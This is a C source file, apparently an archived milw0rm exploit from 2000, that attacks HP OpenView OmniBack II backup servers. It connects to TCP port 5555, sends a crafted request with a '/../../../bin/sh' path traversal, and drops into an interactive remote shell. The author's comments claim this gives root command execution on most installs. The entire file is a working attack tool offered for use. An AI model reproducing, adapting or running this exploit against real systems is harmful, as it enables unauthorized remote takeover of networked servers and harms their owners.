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executable file
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/*
* HP OpenView OmniBack II generic remote Exploit by DiGiT - teddi@linux.is
*
* Omniback is a network backup system by HP, widely used.
* took me some time to figure out how omniback communicated then it was just
* a matter of finding a bug.
*
* This lovely little exploit will give you a remote "shell" of sorts, you
* can execute any command on the system.
*
* As far as I can tell this thing is vuln on every Omniback I have seen.
* I've tried HP-UX, Linux so far, with diff versions etc. It needs some change
* to work on windows, but should very extremly easy, be creative.
*
* Greets, #!security.is, #!ADM#$%$#, #hax & HP systems for this proggie ;>
*
* - DiGiT [digit@security.is]
*
* I'm releasing this because it leaked and kids got their hands on it ;<
* sorry.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/stat.h>
int sockfd;
struct hostent *host;
usage (char *progname)
{
printf ("\nOmniback II *: remote exploit by DiGiT - teddi@linux.is\n");
printf ("Gives possibility to execute any command on a remote system as root!\n\n");
printf ("Usage: %s hostname \n\n", progname);
exit (1);
}
int
shell()
{
fd_set fd_stat;
char recv[1024];
int n,i;
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
fprintf(stdout, "We have remote shell&%#$&%!\n");
fprintf(stdout, "\nType in any command and it will get executed.\nHave fun... DiGiT - teddi@linux.is\n\n\n");
write(sockfd, testcmd, strlen(testcmd));
while(1)
{
FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
FD_SET(0, &fd_stat);
select(sockfd+1, &fd_stat, NULL, NULL, NULL);
if (FD_ISSET(sockfd, &fd_stat))
{
if((n=read (sockfd,recv,sizeof(recv))) < 0)
{
printf("Connection has been closed\n");
exit(0);
}
for(i = 0; i < n ; i++) {
if(recv[i] == '\000') {
recv[i] = "";
}
}
recv[n] = 0;
recv[n-1] = '\n';
fprintf(stdout, "%s\n", recv);
}
if (FD_ISSET(0, &fd_stat))
{
if((n=read(0, recv, sizeof(recv)))>0)
{
if(write(sockfd, recv,n) == -1)
{
printf("Error %$#\n");
exit(0);
}
}
}
}
}
send_code ()
{
char path[32];
/* I dont care I just made test code and it worked, so #$%$# off */
write (sockfd, "\000\000\000.", 4);
write(sockfd, "2", 1);
write(sockfd, "\000", 1);
write(sockfd, " a", 2);
write(sockfd, "\000", 1);
write(sockfd, " 0", 2);
write(sockfd, "\000", 1);
write(sockfd, " 0", 2);
write(sockfd, "\000", 1);
write(sockfd, " 0", 2);
write(sockfd, "\000", 1);
write(sockfd, " A", 2);
write(sockfd, "\000", 1);
write(sockfd, " 28", 3);
write(sockfd, "\000", 1);
snprintf(path, sizeof(path), "/../../../bin/sh");
write(sockfd, path, strlen(path));
write(sockfd, "\000", 1);
write(sockfd, "\000", 1);
write(sockfd, "digit ", 6);
write(sockfd, "AAAA\n", 6); // nada..
shell(); // and the lord said, let there be shell.
exit(0);
}
create_socket (char *hostname)
{
struct sockaddr_in s;
int ipaddr;
if ((host = gethostbyname (hostname)) == NULL)
{
herror ("gethostbyname");
exit (1);
}
memcpy (&ipaddr, host->h_addr, host->h_length);
memset (&s, 0, sizeof (struct sockaddr_in));
s.sin_family = AF_INET;
s.sin_port = htons (5555);
s.sin_addr.s_addr = ipaddr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket");
exit (1);
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
perror ("connect");
exit (1);
}
}
int
main (char argc, char *argv[])
{
char hostname[256];
if (argc < 2)
{
usage (argv[0]);
return 0;
}
strncpy(hostname, argv[1], sizeof(hostname));
create_socket (hostname);
send_code();
return 0;
}
// milw0rm.com [2000-12-21]